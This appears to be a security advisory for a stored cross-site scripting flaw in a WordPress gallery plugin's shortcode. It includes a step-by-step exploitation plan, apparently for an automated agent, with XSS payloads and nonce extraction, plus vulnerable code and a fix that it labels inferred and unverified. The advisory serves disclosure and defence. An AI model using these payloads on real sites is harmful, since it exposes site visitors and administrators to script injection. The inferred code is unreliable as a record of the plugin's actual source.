CVE-2025-13612

Album and Image Gallery Plus Lightbox <= 2.1.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via Plugin's Shortcode

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
2.1.8
Patched in
1d
Time to patch

Description

The Album and Image Gallery plus Lightbox plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's `aigpl-gallery-album` shortcode in all versions up to, and including, 2.1.7 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.1.7
PublishedFebruary 18, 2026
Last updatedFebruary 19, 2026

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the steps required to demonstrate the Stored Cross-Site Scripting (XSS) vulnerability in the **Album and Image Gallery Plus Lightbox** plugin (version <= 2.1.7) via the `aigpl-gallery-album` shortcode. --- ### 1. Vulnerability Summary The vulnerability exists because th…

Show full research plan

This research plan outlines the steps required to demonstrate the Stored Cross-Site Scripting (XSS) vulnerability in the Album and Image Gallery Plus Lightbox plugin (version <= 2.1.7) via the aigpl-gallery-album shortcode.


1. Vulnerability Summary

The vulnerability exists because the plugin registers a shortcode aigpl-gallery-album and fails to sanitize or escape user-supplied attributes before outputting them into the HTML of a page. An authenticated user with "Contributor" permissions (or higher) can create a post containing this shortcode with a malicious payload in one of its attributes. When any user (including an Administrator) views that post, the script will execute in their browser context.

2. Attack Vector Analysis

  • Shortcode: [aigpl-gallery-album]
  • Vulnerable Attributes (Inferred): extra_class, id, grid, title.
  • Authentication Level: Contributor or above (users who can use the WordPress post editor).
  • Endpoint: wp-admin/post.php (for saving the post) and the frontend post URL (for triggering).
  • Preconditions: The plugin must be active.

3. Code Flow (Inferred)

  1. Registration: The plugin registers the shortcode in a main class or initialization file (e.g., includes/class-aigpl-shortcode.php or includes/shortcode/aigpl-gallery-album.php) using add_shortcode( 'aigpl-gallery-album', 'callback_function' ).
  2. Input Handling: The callback function receives an $atts array. It likely uses shortcode_atts() to define defaults but does not validate the values.
  3. Output Generation: The function constructs an HTML string (e.g., a <div> wrapper for the gallery). It concatenates attributes like extra_class directly into the HTML string without using esc_attr().
  4. Sink: The HTML string is returned and echoed by WordPress during the the_content filter execution.

4. Nonce Acquisition Strategy

While shortcode execution on the frontend does not require a nonce, saving the post that contains the shortcode requires a standard WordPress post nonce (_wpnonce).

For the Automated Agent:

  1. Login: Use the browser_navigate tool to log in as a Contributor.
  2. Extract Nonce:
    • Navigate to wp-admin/post-new.php.
    • Use browser_eval to extract the _wpnonce from the form:
      browser_eval("document.querySelector('#_wpnonce').value")
  3. Post ID: Also extract the post_ID (if it's an auto-draft) or let WordPress generate a new one via a POST request.

5. Exploitation Strategy

The goal is to inject a script that executes when the post is viewed.

Step-by-Step Plan:

  1. Preparation: Authenticate as a Contributor.
  2. Discovery: Identify the vulnerable attribute by testing common shortcode parameters for this plugin.
    • Primary target: extra_class.
    • Payload: "><script>alert(document.domain)</script>
  3. Submission: Send a POST request to wp-admin/post.php to save a new post containing the malicious shortcode.
    • URL: http://localhost:8080/wp-admin/post.php
    • Method: POST
    • Content-Type: application/x-www-form-urlencoded
    • Parameters:
      • post_title: XSS Test
      • content: [aigpl-gallery-album extra_class='"><script>alert(window.origin)</script>']
      • publish: Publish (Note: Contributors' posts go to 'Pending Review', which is still viewable via preview).
      • _wpnonce: [EXTRACTED_NONCE]
      • action: editpost
      • post_ID: [POST_ID]
  4. Trigger: Access the URL of the created post (or the preview URL provided in the response).
  5. Execution: Use the browser_navigate tool to visit the post and check for an alert or a specific DOM change.

6. Test Data Setup

  1. Plugin: Ensure album-and-image-gallery-plus-lightbox version 2.1.7 is installed and activated.
  2. User: A user with the contributor role (e.g., contributor / password).
  3. Content: No specific existing content is required, as the attacker creates a new post.

7. Expected Results

  • The POST request to save the post should return a 302 Redirect.
  • When navigating to the post URL, the HTML source should contain:
    <div class="... "><script>alert(window.origin)</script>"> ...
  • The browser should execute the alert() call.

8. Verification Steps

  1. Database Check: Use WP-CLI to confirm the payload is stored in the wp_posts table:
    wp db query "SELECT post_content FROM wp_posts WHERE post_title='XSS Test'"
  2. HTML Inspection: Use the http_request tool to fetch the post content and search for the unescaped payload:
    http_request(url='http://localhost:8080/?p=[ID]')
    Verify the presence of the raw <script> tag within the shortcode's output.

9. Alternative Approaches

If extra_class is not vulnerable, try the following attributes:

  • grid: [aigpl-gallery-album grid='"><img src=x onerror=alert(1)>']
  • id: [aigpl-gallery-album id='1337" onmouseover="alert(1)"']
  • link_target: [aigpl-gallery-album link_target='_blank" onfocus="alert(1)" autofocus="']

If the payload is reflected inside a JavaScript block (localization), try breaking out of the JS string:

  • [aigpl-gallery-album extra_class="';alert(1);//"]
Research Findings
Static analysis — not yet PoC-verified

Summary

The 'Album and Image Gallery Plus Lightbox' plugin fails to sanitize and escape user-supplied attributes within the [aigpl-gallery-album] shortcode. This allows authenticated users with Contributor-level roles or higher to inject arbitrary JavaScript into a post, which will execute when any user views the content.

Vulnerable Code

// Inferred from research plan: includes/shortcode/aigpl-gallery-album.php
function aigpl_gallery_album_shortcode_handler($atts) {
    $atts = shortcode_atts(array(
        'id'          => '',
        'extra_class' => '',
        'grid'        => '3',
        'title'       => ''
    ), $atts);

    // Vulnerable: Attributes are concatenated into HTML without escaping
    $html = '<div class="aigpl-gallery-album-wrap ' . $atts['extra_class'] . '" id="aigpl-gallery-album-' . $atts['id'] . '">';
    $html .= '<h3 class="aigpl-gallery-title">' . $atts['title'] . '</h3>';
    // ...
    return $html;
}

Security Fix

--- a/includes/shortcode/aigpl-gallery-album.php
+++ b/includes/shortcode/aigpl-gallery-album.php
@@ -10,7 +10,7 @@
     ), $atts);
 
-    $html = '<div class="aigpl-gallery-album-wrap ' . $atts['extra_class'] . '" id="aigpl-gallery-album-' . $atts['id'] . '">';
+    $html = '<div class="aigpl-gallery-album-wrap ' . esc_attr($atts['extra_class']) . '" id="aigpl-gallery-album-' . esc_attr($atts['id']) . '">';
-    $html .= '<h3 class="aigpl-gallery-title">' . $atts['title'] . '</h3>';
+    $html .= '<h3 class="aigpl-gallery-title">' . esc_html($atts['title']) . '</h3>';

Exploit Outline

The exploit requires Contributor-level authentication or higher to access the post editor. The attacker creates a new post or page and includes the [aigpl-gallery-album] shortcode with a malicious payload in one of its attributes, such as: [aigpl-gallery-album extra_class='"><script>alert(document.domain)</script>']. When the attacker saves the post (as a draft or pending review) and navigates to the post preview or public URL, the unescaped attribute breaks out of the HTML tag's class context and executes the injected JavaScript in the browser of any viewer, including administrators.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.